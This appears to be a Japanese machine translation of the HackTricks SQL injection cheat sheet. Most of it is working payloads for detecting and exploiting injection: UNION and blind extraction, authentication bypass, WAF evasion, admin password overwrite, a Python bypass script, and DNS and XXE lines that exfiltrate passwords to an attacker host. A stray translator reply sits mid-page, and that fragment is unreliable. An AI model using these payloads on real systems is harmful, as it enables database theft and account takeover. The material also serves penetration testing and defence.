SQL Injection
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
What is SQL injection?
SQL injectionは、攻撃者がアプリケーションのinterfere with database queriesを行えるようにするセキュリティ上の欠陥です。この脆弱性により、攻撃者は他のユーザの情報やアプリケーションがアクセスできる任意のデータを含む、本来アクセスすべきでないデータを view, modify, delete することが可能になります。これにより、アプリケーションの機能やコンテンツが恒久的に変更されることや、サーバの compromise や denial of service に至る場合もあります。
エントリポイント検出
サイトがSQLi関連の入力に対する異常なサーバ応答のために vulnerable to SQL injection (SQLi) に見える場合、最初のステップはクエリを破壊せずにどうやって inject data into the query without disrupting it するかを理解することです。これには、現在のコンテキストから効果的に escape from the current context する方法を特定する必要があります。以下はいくつかの有用な例です:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
次に、クエリをエラーが出ないように修正する方法を知っておく必要があります。クエリを修正するには、前のクエリが新しいデータを受け入れるように入力データを与えるか、または単に自分のデータを入力して行末にコメント記号を追加することができます。
エラーメッセージが見えたり、クエリが動作している場合と動作していない場合の違いに気付ければ、この段階はより簡単になります。
コメント
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
論理演算による確認
SQL injection 脆弱性を確認する信頼できる方法は、logical operationを実行して期待される結果を観察することです。例えば、GET parameter の ?username=Peter が ?username=Peter' or '1'='1 に変更しても同一のコンテンツを返す場合、SQL injection の脆弱性があることを示します。
同様に、mathematical operations の適用も効果的な確認手法です。例えば ?id=1 と ?id=2-1 にアクセスして同じ結果が得られる場合、SQL injection の兆候です。
Examples demonstrating logical operation confirmation:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
このワードリストは、提案された方法で SQLinjectionsを確認する ために作成されました:
真のSQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```タイミングでの確認
場合によっては、テストしているページで変化に気づかないことがあります。したがって、discover blind SQL injectionsを見つける良い方法は、DBに処理を実行させて、ページの読み込み時間に影響を与えることです。
したがって、SQLクエリ内でconcatして、完了するのに長時間かかる処理を実行させます:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
場合によっては sleep functions won’t be allowed。その場合、これらの関数を使用する代わりに、クエリに数秒かかるような 複雑な操作を実行させる ことができます。これらの技術の例は、各技術ごとに(該当する場合)個別に解説します。
バックエンドの識別
バックエンドを識別する最良の方法は、異なるバックエンドの関数を実行してみることです。前のセクションの sleep functions や、以下のもの(table from payloadsallthethings:)を使用できます。
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
また、クエリの出力にアクセスできる場合、データベースのバージョンを出力させることができます。
Tip
続いて、さまざまな種類の SQL Injection を悪用するための異なる方法について説明します。例として MySQL を使用します。
Identifying with PortSwigger
SQL injection cheat sheet | Web Security Academy
Union Based の悪用
列数の検出
If you can see the output of the query this is the best way to exploit it.
まず、初期リクエストが返している列の数を特定する必要があります。これは、両方のクエリは同じ列数を返す必要があるためです。
通常、この目的には次の2つの方法が使われます:
Order/Group by
To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the query’s column count.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
クエリが正しくなるまで、null values をどんどん選択する:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
null値を使用するべきです。場合によってはクエリの両側のカラムの型が同じである必要があり、nullは常に有効です。
データベース名、テーブル名、カラム名の抽出
次の例では、すべてのデータベース名、特定のデータベースのテーブル名、およびテーブルのカラム名を取得します:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
データを発見する方法はデータベースごとに異なるが、常に同じ方法論である。
Exploiting Hidden Union Based
クエリのoutputが表示されるが、union-based injection を実行できないように見える場合、それは hidden union-based injection の存在を示している。この状況はしばしば blind injection をもたらす。blind injection を union-based に変換するためには、バックエンドで実行されている実行クエリを特定する必要がある。
これは、blind injection テクニックとターゲットの Database Management System (DBMS) 固有のデフォルトテーブルを併用することで達成できる。これらのデフォルトテーブルを理解するには、ターゲット DBMS のドキュメントを参照することを推奨する。
クエリを抽出したら、元のクエリを安全に閉じるようにペイロードを調整する必要がある。その後、payload に union query を追加することで、新たに利用可能になった union-based injection を悪用できるようにする。
For more comprehensive insights, refer to the complete article available at Healing Blind Injections.
Exploiting Error based
If for some reason you cannot see the output of the query but you can see the error messages, you can make this error messages to ex-filtrate data from the database.
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLi を悪用する
この場合、query の結果やエラーは見えませんが、ページの内容が異なるため、query が return した true または false のレスポンスを distinguished することができます。
この挙動を悪用して、database を char by char でダンプできます:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
これは前と同じケースですが、クエリからの true/false レスポンスを区別する代わりに、SQL クエリのエラーがあるかどうかを区別できます(例えば HTTP server がクラッシュするため)。したがって、この場合は char を正しく推測するたびに SQLerror を強制することができます:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiting Time Based SQLi
この場合、ページのコンテキストに基づいてクエリの応答を区別する方法はありません。しかし、推測した文字が正しければ、ページが読み込みに時間がかかるようにすることができます。この手法は既にconfirm a SQLi vulnで使われているのを見ました。
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
stacked queries を使用して、複数のクエリを連続して実行することができます。 ただし、続くクエリが実行されても、結果はアプリケーションに返されません。したがって、この手法は主に blind vulnerabilities に関連して有用であり、2 番目のクエリを使って DNS lookup、conditional error、または time delay を引き起こすことができます。
Oracle は stacked queries. をサポートしていません。 MySQL, Microsoft および PostgreSQL はサポートしています: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
もし no-other な exploitation method が worked しなかった場合、database ex-filtrate により情報をあなたが制御する external host へ送らせることを試みることができます。例えば、DNS queries を介して:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Out of band data exfiltration via XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
自動化されたエクスプロイト
SQLi 脆弱性を sqlmap で悪用するには、SQLMap Cheatsheet を参照してください。
技術固有の情報
SQL Injection 脆弱性を悪用する方法は既に説明しました。本書ではデータベースの技術別にさらにいくつかのトリックを紹介しています:
または、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQL に関する多数のトリックは https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection にあります。
Authentication bypass
login 機能をバイパスするために試すリスト:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
このクエリは、認証チェックで MD5 を raw 出力を有効にするために true を指定して使用した場合の脆弱性を示しています。その結果、システムは SQL injection に対して脆弱になります。攻撃者は、ハッシュ化した際に予期しない SQL コマンドの一部を生成するような入力を作成してこれを悪用し、不正アクセスを引き起こす可能性があります。
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
推奨リスト:
リストの各行を username として使用し、password は常に: Pass1234.
(これらのpayloadsはセクションの冒頭で言及した大きなリストにも含まれています)
GBK Authentication Bypass
もし ’ がエスケープされている場合、%A8%27 を使用できます。また ’ がエスケープされると作成されるのは: 0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
「Python script:」だけでは翻訳できません。src/pentesting-web/sql-injection/README.md の該当テキスト(または翻訳したい内容)をここに貼ってください。貼っていただければ、指定どおりコード・タグ・リンク・パス等を保持して日本語に翻訳します。
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modify password of existing object/user
そのためには、何かを変更して**“master object“と同じ名前の新しいオブジェクトを作成することを試みるべきです(ユーザーの場合はおそらくadmin**):
- Create user named: AdMIn (uppercase & lowercase letters)
- Create a user named: admin=
- SQL Truncation Attack (username や email に何らかの length limit がある場合) –> Create user with name: admin [a lot of spaces] a
SQL Truncation Attack
もし database が脆弱で username の最大文字数が例えば 30 で、ユーザー admin をなりすましたい場合は、“admin [30 spaces] a” という username と任意の password を作成してみてください。
database は導入された username がデータベース内に exists するかを check します。もし not であれば、username を max allowed number of characters に cut します(この例では “admin [25 spaces]” へ)そして末尾のスペースを自動的に削除してデータベース内のユーザー “admin” の new password を更新します(エラーが出ることがありますが、これは成功していないことを意味しません)。
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
VALUES ステートメントを抜けるために、','','' を必要なだけ追加してください。もし delay が実行されれば、SQLInjection が存在します。
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE句は、UNIQUEインデックスまたはPRIMARY KEYに重複する値を挿入しようとした場合に、データベースが取るべき処理を指定するためにMySQLで使用されます。次の例は、この機能が管理者アカウントのパスワードを変更するためにどのように悪用できるかを示しています:
Example Payload Injection:
次のようにinjection payloadを作成することが考えられます。usersテーブルに2行を挿入しようとし、最初の行はデコイで、2行目は既存の管理者のメールアドレスを標的にしてパスワードを更新する意図があります:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
- クエリは2つの行を挿入しようとします: 1つは
generic_user@example.com用、もう1つはadmin_generic@example.com用です。 - もし
admin_generic@example.comの行が既に存在する場合、ON DUPLICATE KEY UPDATE句が発動し、MySQL に既存の行のpasswordフィールドを “bcrypt_hash_of_newpassword” に更新するよう指示します。 - その結果、対応する bcrypt hash を持つパスワードで
admin_generic@example.comを使って認証を試みることができます(“bcrypt_hash_of_newpassword” は新しいパスワードの bcrypt hash を表しており、望むパスワードの実際のハッシュに置き換える必要があります)。
情報を抽出
同時に2つのアカウントを作成する
新しいユーザーを作成しようとする際は、username、password、email が必要です:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
10進数または16進数を使用
この手法では、アカウントを1つ作成するだけで情報を抽出できます。何もコメントアウトする必要がないことに注意してください。
hex2dec と substr を使用:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
テキストを取得するには、次の方法を使用します:
__import__('binascii').unhexlify(hex(215573607263)[2:])
hex と replace(および substr)を使用:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection は、injectable query が出力を返すクエリ自体ではなく、injectable query の出力が実際に出力を返す別のクエリに渡される状況です。 (From Paper)
例:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - 空白の代替を使ったバイパス
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - コメントを使った bypass
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - 括弧を使った bypass
?id=(1)and(1)=(1)--
No commas bypass
No Comma - OFFSET, FROM and JOIN を使用した bypass
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
一般的な Bypasses
キーワードによる Blacklist - 大文字/小文字による bypass
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklistがキーワードをcase insensitiveで使用されている場合 - equivalent operatorを使用してbypassする
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
このトリックの詳細な解説は gosecure blog.
基本的に、scientific notation を予期しない方法で使用して WAF を bypass できます:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
列名制限のバイパス
まず、元のクエリと、flagを抽出したいテーブルの列数が同じであれば、単に次のようにできます: 0 UNION SELECT * FROM flag
次のようなクエリを使うと、列名を使わずにテーブルの3番目のカラムにアクセスすることが可能です: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;、したがって sqlinjectionでは次のようになります:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
または comma bypass を使用する:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
このトリックは https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ から取られました
Column/tablename injection in SELECT list via subqueries
ユーザー入力が SELECT list や table/column identifiers に連結される場合、prepared statements は役に立ちません。bind parameters は values のみを保護し、identifiers は保護しないためです。よくある脆弱なパターンは次のとおりです:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Exploitation idea: フィールド位置にsubqueryをinjectして任意のデータをexfiltrate:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Notes:
- WHERE句がバインドパラメータを使用していても機能します。識別子のリストは依然として文字列結合されるためです。
- 一部のスタックでは追加でテーブル名を制御できる(tablename injection)ため、クロステーブルの読み取りが可能になります。
- 出力先が選択された値をHTML/JSONに反映する場合があり、応答から直接XSSやtoken exfiltrationを引き起こす可能性があります。
Mitigations:
- ユーザー入力から識別子を連結してはいけません。許可されたカラム名を固定のallow-listにマッピングし、識別子を適切に引用してください。
- 動的なテーブルアクセスが必要な場合は、有限のセットに制限し、安全なマッピングからサーバー側で解決してください。
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
一部のフレームワークは、構造化されたフィルターASTをraw SQLのブール式フラグメントに変換し(例: metadata filters や JSON predicates)、それらのフラグメントをstring-concatenateして大きなクエリを組み立てます。コンバータが文字列値をエスケープせずに '%s' のようにラップする場合、ユーザー入力中のシングルクォートがリテラルを終了させ、以降がSQLとして解釈されます。
Example pattern (conceptual):
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → デコード: ' OR '1'='1 → 述語は次のようになる:
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / identifier-based SQLi (PDO limitation)
Prepared statements 識別子をバインドできません(列名やテーブル名)。一般的に危険なパターンは、ユーザー制御のsortパラメータを受け取り、文字列連結でORDER BYを構築することです。入力をバッククォートで囲って「サニタイズ」している場合もありますが、識別子コンテキストが攻撃者に制御されるため、これでもSQLiが可能です。
Vulnerable pattern:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
トラフィックの兆候:
- POST の Sort パラメータ(多くの場合
sort=column)、固定の許可リストではない。 sortを変更するとクエリが壊れる、または出力の順序が変わる。
WAFバイパス提案ツール
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
その他のガイド
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force 検出リスト
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
参考
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


